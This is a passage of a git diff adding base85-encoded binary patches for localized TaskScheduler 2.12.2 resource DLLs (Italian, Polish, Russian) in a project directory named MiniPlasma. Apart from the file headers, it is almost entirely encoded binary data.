zFy?46%h=C3W7kb&tO>vUvAGNV9R6-qV_)w}TYg#obmuT*oU;3gQ;&YLZu0TF4plz9 z^vfrki?<(XSbXeTS-1cEmIZG-`7d)n&1hK>EI1dQ{HtB9qlfKW_W0F{kKFaiQzzbf z*Eu+ERkQT(iGg{6A~-KVbk zY2@3VPM$Pl?6r{f#Pc8iSb~td(DdeB+fl=T)v9f}mZIA6-fC42sa63G+lp!FT6+Os zqgu9R8jDK;h4fdzt6bf2Ep@S>x{f951-!{^*EMCi+S_8@pc;$Y7c7wHDf8wBON&d? z!iA-IgPFO8qlHzUd$a10Uut6(Y^tcH|A~7S+&&47J^B95b+1 z>Xub!Z+xp~cZ=#y`3YPN6u29ndgXq&Mo^Rf5q(RQKT1QX^XH@u1d zrV)&d$NF)MpM-r|u!fW(VrDF$3`Z*xX0Z9|OEvz|BUhMSnM%4cPt2 z14q&C#wMCU{=)S+;H%O9Pr$wnUWd_kqOAq|9IU^L_A20)11=l%Uj~iu;dcP*&*Qg_ z;L#5Oe-z*zgB+VduL5hIV%!S&_4qx7xtl@bW6VbZI}>wHpiRKs2jFo4{i`6`duT6a zp#Fk%sSCq1#mu;WXU8t05qYRtwc_)01KT}1G^VAHe+E@ zf_E~`*SsYX&J&XKFrbmjc3^3K4Yao)ki|B@LKbB26arb$g^(%%*df+c5OBcI!u?i~ z#J5c{yJ_&i<#oc+U4juYjR-6mc*G|UAk!Ma$i~Fr<=I%C(g-EL5>v7fSO!45fN(XD zZ-h5=OlTlX?n~xxv-tqw=^&|^*{lUXGn+wjuqTqKZ3oy@Es)-3H^A6r2|32RN!W@E zNn*$lS^NiVwx0DLF_ z7nU->(0~sIh6ZZI;tgn|xxtQltdjj+f$3h>3Y{r3o&&&?RP$8=*M$9p>{o-atDplp zmSQZ(eg}YQso1nfIBbEDJpf0*t)S-AE1%aXq z5lFQJ?E?kL;_MfRoQg&nMvtKu;7NQzj((m=CD8%2v>n?5_k>}RAp1HN)3&7lZ1+>s z9RNw&JU&Qrg1Q%AX$i&$OQfmj`GFGg{qp%`@l0Wjd@Qo6mn%YXl5IY>7Ld|FGO^T- zC22xMB%==_&(hG34(O`l zSf-(Ec2#M7MMsCGba^mg)wbnMRT{mmxQ}luENkkMvK`a4xvtuL6A0MSsBJ-7>XW2^ zv_oo;c}R9t4mtGMdBvsIcB%M8SqSv7r8a{!g*@@L;@oW;n@c{vM38_7@!gWAM8dDt|u!R88 z0V%V_;IiXD7gZY3WI-QkBBsdX;B=+h1Fc=+D~+l*6w@$VX^a1#BMiV~9fhGeOp3;Rm;&zlKM*GPnJk3>8)2GRGo)@#~jhF$#5L%iP zfuz_{pzB)E0sN@K#~EUt)Sdx#;|#g*tV%w@CaLWUNcl@OoqQO2yZ=CRpgTHXs6?1Y z5^}>#`3)x7L*@FF$v|`XGO&koWrFFY1-uz!MLl-6H!-<@*H^=gNjToZOrl3l*1^`a zLYg5g$yM7yg^irkA|Ago_lch*;4F#K!d;5gjPtAP|WTkZ3W!6sWO42uPP!c`*>5$V+C9{iODg6;LXZ zp}6oSR0}pkqcn>OkOJ6^b|`INWDv54uwOvBYDl^u7}9JSJQP$1D?S^-^(y6M^&m@*7Uek3w<=m{J+DT=5LUs_>7U2E{l5}HWRx+%1Vjc zFN)S|M1FEc{Sui3sWEALOSv&;Q%J(WmWDzxBEZ|!-5T!1ufwoYvinPE93YnCdN#%<(>gBMS+k*$Vh z%}|F55NXMUQ7Ot|==PBKnMi^Tf&hUaWh$Dn+0{e}9Tl6T3$1# z8=W>m9L0wiN?RYcyNLu3(pm`&4ny75A&f zJt*!0HijKXd22j7jr(+VN(!(%G4o~i8}y4=_ORjoB>PyBUr^6yXW0x1UlH+35=R#( z`Qak|+!JC^qZx8_bqVw9&MaOu?x436q$gHk!{P0EZ;R&WYJ~&qw!_0Lpg5)#U#wPb z#nK{#kO1*9tB}5Bqj&H^lLhvQGkBrOjPzPsXV(x*c+#n{+IRx5QBy3_Hana^n`RUj z1zKeLhGt}KQqIC@gkNqC={mbeSk_^E0Vt%$^VOku7{8=$2Rf42;n0VZ!P&Bh+(TzR zX|Fwa_cP@ul^^|qWjwxh-I}Q-Z{0FsdUsCbtB<^ye{k)>!e76kE9pDB`LfA zZkCS|p?=2pfWk;}Eyk;xD}oG;rQLIQ<|SXb|KV+0SKWGVZFKJo1viz*AAMB4VQ_q2Kmg_MTx2_s!kDZG$Zrx z4dpkdA3ONea<%OjGbJ|Tg2qH~`;5f;--n^PwGfhm%x#1w^0pk?Q+$ghJOm<^3Lg1JX91TxJ1w;nZ!q3;7{@JI1hU4(Ai2PgD3Q40 znXGN~9)GqQiI|pyD)dB&jjPq1I=7u;--lg8b9xz@F0o1RP0f!D@S?)PqB%u{Me`WT zl2}GjAXpTD()gf?oq@sMYz6f>^#))5Sy}4JhAPvl*7Zi@cQ2+@H9(u5u5+_MOPoHY z;{1Od!H^Jb3U*Pdgx(VYrW!O)aCK;F%e^xb8q;-jL<#O|Q2pM3dktHSUOh_QD=@Cd zeJT2M9U1=NA1JoGOzLOUVeC4w>YeLSASPec7)YQ>MM?U4r7B-NzR9VGPgg#LE2Hmv z`ck*Co~Wh@0QSgmj#7mr%KcP+qwo2_lztB~5-W`Vm7u~68?cY04=_)KtFWloQ1z1@ zepE0wQ4iJd2}|WR4!#_}9(|IMW~dBD|GjP$F~WF^vv&SR)_7sf9K1Yr<#o1hrNc#BvmWeXuIhi_<=Bn<;v$8QIk zXCbN|kd{;x2nqa7R)8^`8Fhj))lSKKsnB7e5fwT_o@-VE5FFb1}Fu>0hot2MgeVM&EfGliq>;9Mt}cj-Cbn2c*D_ AH~;_u literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/it/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..9304816d1fc2872ef3cd3167456ae9a8b2bd20c2 GIT binary patch literal 10240 zcmeHMdwdnuoj(JF1Ofp~hzSNfkbsX3m)x5uNeY^q1VWkw67m3BC`|61+>Fefxz5ZD zBr%%qwsy-_frSFrt*^xgtgWtXt@x-Ymi0-O72B;vWp!8OBgF@0>&F-S{hhgUA4!OO zc0c=9J;|AS9>3T5{eI_nW`3vX8(Y{|#@IO2GiMlk1iw_O#B=n=Af~e}dNhmue8Nk! z9+4Vfn$^~=T0CMJAyW?XfUN6=%{vutMs=?0ymomj4;w+nGkNmFq8RDs#f&vdW7*dE z;cl1PF*asarj*H80Y)Y|qhD0um!nppGB#DT$2fA+0Ld@PAf6ci!-W#oRrOs0rT@fl ztV=^EyFqs)HL4iP8&8cPWgTOah76rkmot`;1ek&T(xkq}RyNw`kDHDM=EPbdcXHv3 zt@D_c8Ni^BtqKhyIukXiR6%-=sb~fOg{zWwlzGUqS*cKeoDo0<0GA3SiX;>4k6 zrg+!AoZJ1x*CM&Mf3kPsj!$lUhClEJ>yD4_dOR)v+i#s@rNfM(gy5+gMkKDIs>noL8PrTCigQ7Pl6b6p3={WI0 z!v)Wu%HPm(`ubxV$3MEJV)Ch*{~_x~d9O{~5uKBB?Wx;x58n5Be)+d9o?d}ki5lpt zo4)$G$EGi6_)S6H4gXy*dDV-v+FFkn-n+KlbN}g`^VOAdS^lR_F5I*+`^whKZu7r! zIIH@f?yRlZ|HD_7yno}ty1g$P{`$-{vl`lNf2Uzk&t92lo?fjTcy-OKnb&;lXBqRl zC*@z)UGSZ^yC0r&B)oI3-22Jjyw!jFwIc)fw_4YK7r|*a>b3C6BKUqi>Q>Ynpu!@= zhBwf@CXKOd%pXMmG3d7qa|kJ7&+I~f5ypRtu~*X>(*ZvS=Y9h1OyJc4ZZ2va+S^bq z!0tjE*pGG(oM;Bw3*~db*P{I{VBZ9Zlim~8|=fJH$@Vfg@?I}%tc zCW+c&P?o_@WAg!e*~p;X5MTpq0*Zw{nT61*0yrN@vSbqN0LrOl%Mp|PV4<;EVE2N? zI!xpycqijToGB8{5t7!SV?_!u8M|UJR&PQeldXk@OvoM*0-0C~AyosgOUx@EV1uEF z=XF5Madnf-?l>l9E)|;Y7L15#L}1ClBR(GiWO^eQSr`~TeHznwO<3gBu|+lkO9yB- z5I!dIO|XWB0TqPFe98PRHXc5}hk~T8%wilsvs*!OxFwRQT}A%X2I(!f9?B+7$T8;4 zLRX|n5<@0q5KR}@Q5EUBR;*NJokG?i&T}kbI9LnlDxwBi2S5sjgRB6643qS-wE*BF z0YsrG9Sn7{;>bYlm|TxaD+jQ{D%tLS4EM5jteJL3KLGMl)mIH%1N!%}n}%c8U=3tg z+GAd}8vxT&vB_s?gY;th$ya zsN);t>eCQ&ic*o>onb&2+9R|ldf7|>4q5AB)&nJy^LknNNOaukYS6HtmH+@d&JEDV zv~vS2Wqkk~V#9ifO?$`7Heqsz*p1Lv2vx`QUQEMXlWmaLkTEL`mm?L#30Yot3V_&7 z$+XC)Lt=;6DR%X;ODMh%2c`&4#&;c{17O8p4wkUzUjv~$6@h{fg<|KNpeU@PX9xv3 zJsl8ql57R?mFJG^?EQcs=#qE{B(4~Z1gRtp6bc@x+>Zct;klxY#QQV|_(mg;stNLg z0D{E~9M7YQoQg&fMvI}=0CiN3Zk$Oap#p7)$F{*dVW`B*zKzKtF6o}_ZfM#DkRi_F zf+Pp1+Wj7e0DmC4fi&HhC~}zqSQV01pqHgHRZ^F z&gM(U8AxCGff~Y{l+4lVizK zCgOx0pL!Qlc@7pG4Rm@W@ZNWMHHuiD!1}X`MOt-YMKDhCjLWSJq*RbhOl9DuSh}F5 zTb0AIsc>Wwj8I6iZG+b=Z<2ESJw0k{JeG3^%hHs39ixDixe}IDP0DUEEPTBYc3812 zITTV2X+nSL0PioUY#xxZ?5J(4T;&)ybyZ65_tMmWBzdIujWQ3)Hb`-8ZeeM~*9;Is zCL<74iJon$kjLa!0H2aPsPrft92AIZMFaTOwA3D%%NoZAXvA>wR9)?ZfCleT6#+(WC`;p;O+&X0DXqpZEm_KJ4H&v%1ymqNQ(L04W~s7; z)!K>kM`Y7h;WI&a3S*9 zaYsffj!6gmkVB~UfjeR@7BCfBxk1S{wMz}4BVAT&z$N7#EJ1){teBf>M8TpI$5t_S z^hlGJlj-8!i&~?aCS$3(PA*Pvht!h{pOgv6Bk_989SN$)t^m#kS<*=iVgwSV5;kDp z7{FZcz_!s8C|c(t`qD7!XY8n2E$x$*|H6}VkYoNfa2DdLgiZSavW!OEjTq{ zjhKBV#CO4HoJTL@VnPt= zVn5)Q(sBq$=@xuIN1#fB3-!s>tzWN}7`}2)DA(CT$-2^#Qm@Ekrr|V2{t~tDdL&N) zMzydNfm#n)7-swNf{xS+D{OCN&!SDK;ljH1`da+{JNgBvh1HtTi9Qu{rSu%+Ly6@l zb4pn*2GGRG6#sSGG)|SV=VHI(*&LP)*lO`yE1nz0bE|mXk0%uei`F%PEo2w5^Tab> zJZFjLrQ+!oPY=sv2bl-B$ML+79hE$+P>lQ)`v~n)mNjPFAjv+7upnQP4U~%ZYQ=3^8|3n z#3ySND}aDP2ni4uvj*`~)_aFf;4}(G1NQKV8Y9w+hrY8*80{!w?d0Eku7)A!9h)9=LpMG`%6F}J&qe&O-eIc9@S2;V{9xZg|lnQ z&foN@esR^~8z0EHckJ@dSjI2=R(Ir=9s7RHg*^q4Z#?)$(LJlmOHRHXD0uD33x7I} zOH$V09jpj927`=k2ZixuTJ%@6`n`1hLEf`(_SmcM{Yigc%T2rM4(xcb_=Yn1gAZ!g z?$~(K(z43${n6gGc*V1g`+oR$mpuOYHOoJ&eErsfw*TzkRrb6xL%aF8tnFjUch0|V zXNz{r!dEYyviG6QEw}t)^)IrvR2EEo_Pv`w%r0AW__p7Lt~z}5`-N}$f0MRt$EpMS zGbaAM9{A|^!}mPZpsf7uY>CYnRhdY>ekifQ_n@dAHKx3Lw0j$(qLFGH|j74g)>JEpZWm>nXer za`;5h*kJLBau2V!AwxK#;b??F#1bz?z(A}Eg-o30c5FEQ?iCk<SZYMp8?jdpVQeK?BOHY6r-L6sYKYX0;d?kg$r&GVJ`E@y1A#4>yy zug`-;Gxnm0ZLl`VNosRy4KMCpPU_5Byx7%hT9d5m&Yo5j4>>)RGjl+TLf}{BD-A#c za8x|=hF$eJCoWuZFjY;?k+BqmtE!wk6L)@pS{a%h$bPTIb1_?iRy|VQ%h0dKa|zm1 zo*4K37sS^&soWE547*CqI`_I1=#onl3+)9(f9mtN}q|STEg7FGGw@+1NMP*0=Sg83X6OVWk2cVf)eHi z@}Vj|VJY3l!I$ILp-)oM2&LgD{YBaGUW{xIaz@0(jfuW<6~V=qHDP#h#+L|8O2l&J zi}fk7N+0J=N{_f1z~xxClg#H>T>zid3b5!lfuJ4gPD+;xxkw_qXW_^lP;!=5K#4)h z2oOa|M!MN((h{wQ?qeu*7sf9K1Yr>LN;L!md35^hK@*J;tIzB{W8=-AU z>>kpw37JVJiPin@W;y>;G##tA%}?2tfOdQt1gT{@?6c vF6^30d#H6svh6~F=ZD@?BhIcNCsceE36a~fhX>=GaFlH7qi;BjCnTfkG z5)>rbBt{HD5q-5WqH#&IzHFMZx#)Di^b{?3nbCzw1`HFm^LR@G+PTL&42;@V!f<$(izJVda~yxm`hY?U$P$2 z{e}LFMPa6&GJ7fsPZ4c88e;=_zlWkXO_2WlD#so3SK=7#n!c7$>EHMC4rvNkDfrH! z&UD5i`%tIDwUn`YI!twIC^8n}hZur!rr%iOkXAY{J~s?Ez__i@+y4?7TdJ|yZ3awo z-KL{MOh=&kUDKhx#wMApK;*hE1(0}+LG!z&GnV2vz8wF-3Tbai$i&Erb&&&dLT7COdvBhkFO+O?qS)uA21h5Hxn;`nE;So~x|CPp({gYwq^aqhp6nK}$k26lDxs^u&o_lV*Jo z75UV+Q3DpfADx%m7E`xmzNX=J^#o(SK5^*(oSwRA<)BA$AABMCi%VfC2lk|;p4o9_ z#@Fl4XY7CP(ho;0j-HkGV(YAO%b@&7+wDcBv!5*9)qmNeM?%Jz+%xovlBlO!N{)`c zY_1-oFZ+u}UfuTDm8(3-p)uW^54P=P^D3 z|KC2b}_~l6Mlj!#cT?X*Rpk<(6iDn1xPV56`&|i)ux}V~O z>pS45p??jyzlE$Ov~6e$fj=JbkI=3Fe-`k1xU6m#pq;~UJM1@0)!9Yc%2+zrU6L4O={Yel;-0R3cUU=C(vR%U_W zWvrA*EEOX&mb4yoh0KH*8%V*dGvsu(5(oz71RIHs1=^U-&~gDJZt38xhddL{;s-lN zEr9|nST;!P_|vmu^z`5?cBYv>3m1?g(%2l9&ypd+#L_@l1|C}g7~+%dPqSSCk#dTX zWQPS7N$e*8J)92fZBWR@mcTZ zxu;9GAQD>2sq~;DIirCxEDM6{m<$`5!B>cHO4YYB2(B94-gR{vKdav*t?kjR6siB7=8;Pfi zthkDNoyINIvjVPbA*%q|h+wq2;4AS~$PNG{Di~!R5cCL18M_Dsu`>iGJY|7E3u1V^ zbENqIK88k?TiCaXDF3)8W4esZht0Gy{sx4|K=-A9)(Zb?*xowQ}ERU=#5uL+}}s@#gpDOlLHB86QZqHc~8(TY{AIN z9i)sbz@RtDqac2y`^3uHH*kh33pZFi+!YIQi5Vocc?3$Y2kF%Al6EHh0vPDJVi4#F z$^!#73;N{kQsqE0+F?vy(y@3GcPUZbX98ImK-M8+^AH|0T%u*`0ql^H>bqUtnsx%E zL-MF7{u|U@pmo?_R5af8?vx>fG#(?}TQBp%W2`G1oQa(6HNIlwN zGJ)2?C;nh9K8Fe*nQoT>;yIMUj3c?gnDuYHZoPv3XNd%kCH3YPQL) zLvp#Rt!i^~-R71Wck_l5vg?%WdJ*%gdOKwI7R-2|ZdkTScDtKTVX{tk?U!8@9N{qa z0V48Uvb&Nb_k|83bP4*XaQ6mbY;)uDt*7c`mzVjq+Vw3vz@brgzfAsfzb<>~ zWX};H_O6J2HVHk+);`xNs;`x=6(U=o-UIuZw^XU@p;0v~5Ta%GLD{p9d*MLy+I^(A zdn4CgMH$|5ysFtyA$fuUDV?ncC}9y=)Xxq9rGmYrLL!BtM%yfkkM9EsklSq&p$Zo#4dwK5yKjaRcwH6?poPX zg8*@UUq{m z{3Byd%}uosdAu(>zj#pc}&8vH?p4c|Z%JxprgAuAiyNMGHen z4s^CRt7(mpHe63A;EiN!(_t)>Yo{?pT7oI}e?$--MP-y?{V`}y4xkO-06f&Pb)OP$ z!WpgLY^GceL~Gu#zNP9Q6bxboFTPCNJR7=XyTG^Qa4Dv$`jSKy1i{RwSk%kEHSruu8~PiV&AK^ppTNR;^eQLa?;-s;_gHqD-7nyaz5NpSF#*bJxJbUJC^0qLTIe)Mk1(~y%i0UH zMJCDMK(Uu4+wGFMz*LrJbeN=M2fSP0bVy8Na9C~az%nq_*QI2^Eu5mV85&O!*$?;!(ZixEq^zg=Bq9BBozr14nIEyF)}y6k1o<#VM0D;!Fp0 zFqfK)MTi?0X|NW8B2Ls77u%#_y~8_g#?gkc6uP#nL3%+RaUykbnxr=wS3#cDBHEp$ zrB<6m!`NVf4a_h)GMxn?^4{#U7#(Gd4Hwvu_M{fysuy+f@w)N4cpXlY1_&%fr_t&( zFdDUW?|BpA%^ImMQZM*Y&!re!l4`Z3nM~PwqeWTAlBA(Tr|ZsW(DT#1U=H8U{NFu* z;DRVJ=%`P5OCfyafjpIMHWQNzr{jHuAMEONrgtK`3sC)Df_plfhu%z-yk}!P6ZaYD z({-}f*MFn+uI%pWF5iRwfJ2pYUD_P{uQUtZuo%R6mEc)3Rh-cuc7KEy^yJ3 zZbd!Rh@Y@jZWAF_#8crkRlwErE(o6MWp2lCH@0B8}*rMMUj@inC+^ z6$YsyKpYjV6#tQz$R0Y6q0*fhPZ1bILD>16V3dq^dw6r!Qu480#Uc7}`+nl%xk@o4G|)AXUysL|%ms^oDZyrP`ISwvoNwIQ9&b7bp~HjOcv7v7t_<*S;JD3+n2POrL0+bLY>&7K zacD2J=NKKd*txgK0=3Xfc)?N7c>S8dBd;)}~CV*zCNJVLxFbF}=f-dV);oOyaI);}FHYT!Tj+dTR9C20GG>w#K{eRiBh{spi0cgEZDc$GA ze=e?*d0Yc|cZ_alv7O54lHvEj9j80AaOwBgzk&zwLZjcFXZ*g){uRvr-bTd({|k7i B(ue>6 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..77124d8490f9f99ae8a07ab1852b58433a440c61 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/netcoreapp3.1/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..8059136fc02ae42c1e542b8e4f7c7ca4b5d5747e GIT binary patch literal 10752 zcmeHNd3+Sr9e;y>K_KM_Az*+92^48qvYQ}D3Ye3GLL?!9V9T}Hog@o;#MxaSU^IYW z1q^b?)rzH6E7rCl5C{oG6id~5%(mKtkEqqQmXCN)itVSZ((muh&fdY)e){Pj?Zh|p z=Dpv2&GLShe*Hmq17oZ=#9Qim=1MoPol_ijI=8o3ud)55 z{)~;r%1zqp-81my7`YgX4HENSn%uNN@{6kpcdUC3FzA)Li9qSU;M4y~OSsZNcOFf0 z8B6L*lZb0MV*?_Vdi2T}iwgma!+S}{yTK!`@!)#42Md zXG|W>SQ(y8{lygTk2Qpdf2{{4g%za4*n(dGq) zsx8lKEC1v>({}x#x^3d(hrYUKRQ{!J-#4W>ulbW~$ED+g^T(WW{QRvCORn@=IBorJ z#+xDQD=&W3B|*p?81{+=w?}pu=F4uESFyO)3zsKu+H}%T)h3cU5AIfyKDL7^4&lC@V(vr zrLp_|@l)TUR|o&)v4nG5p3HHT{BU>0zLuk(T2AgA^OLSEk3anEmd)3mo%=@PbKgBb z^W0EwdgYlj8Ltd_Z0alfUwG`bCl2p;J!i+I*Vk@KeWzcF<>Hcsmp+~|{KYFHR+nGB z`|UM-JC6b@lW8`31YKliLzN>TOv^lRP zC*AW&^1wwejjgP>nDYH)3k*+P-8;orWzHP&_ot_CSu=EI#iWCIZ~5Z$e{iU<;LJm> z&-!Tdx#A~(=KI>{C1dAQKJwn2Cg;$qB<1R2``PnLzSV!l(xY*c>jsRtt1kK8Khzx` z|C(d(1argRHom*=;)T~5pQ>=*y$QwXQH(nglc|XP*%&)8?tuwYQ5)XEd_^C|hGPF5 z-aBF6O6;Meh@9Dn_Ze9K5!TM%$e0uGO$hGOnD+->G2kX(6l1;%!wuMdr~_v(UxgqV zMgGF|Dc}n+|07`E0k4x74`M6={ABF^0^@bS&jDOK=>GyVzK7>w?7xU-3BhA-1^$hI zI}SPS1id`${T1&E0KWv!H?X!DG_GL%EMUiBtsNr)YnQ-dKjsr5+j|%<55zo=S(t~} zn2R}~cmu0vGAqEF11W9Bnw8nHq5u`dVgVPiH2|f-1sxITFhzz&SOayN@6pB5(-g~t5_ab*jXX48$g3{IWfpP6z2(T zi-gmJBt4waNM=W{b!!o{S0IqWmcc>_WUmzhDbR(G@&Q;Q_GJ+8fT4o>F_J{LO(?q+ z@WAL2Vd*--h?v$3EHm(kj~gH(=Yo+N3(?yYS4pK%@(#a}rND9mvuw%gn z!sNbC{%*DtAUqNzTr)R&2|(j2Kr-4Bq156KZxbsay_>CsvB?r5XBVTK?B z0X$9z)=WjVE)<%YS+$VW%Ekh0bTn8w=*nVP*;IfeM}y1icVloJe{ z@ZrMPKnt+B5`#1cu*NFX?|E2mU<;r#WyZY#ND4P!K5$*IzmXk`#x8&k6zhzFq9*d6AerOV1%wkY!!@1!E0n4vFPaA`Jmy3Su6njWzPUjOhVO+k}R5H z1{(>$2p`Ud*pxd)HVK;%V$X%WYB8MHUW#pmYp4%`38{I}8!bmTh*q*-0stbNLTOP< z*NP1Bg!$FTJ_Rt+DH50}I5}SrfEg(DX`c@k^yfApWQ8M85u#G8eJ7|2JMrcc2GZV~ zfS@nQ_kcXJ=g3;_TLeL!#08MJ^?D@8Bo3fZ@d)QW9G}7IJw=VhyBq{e*CP;a35o*? zip4gdU039AG^#LmKk7@L$5F2{;UtFOgB}sFm2i&(CNZ+FVlyHn^>4dgn#uqY5j;9b zXo0E)SVV!*!GdLKU-v-4{C=u?ne?Zt^ZBYm{&R(lOw(@YMa{O+n}~cW7NHBi~6*0qi?<1!7*t9z){>=)Klsy-&Se7dJurL 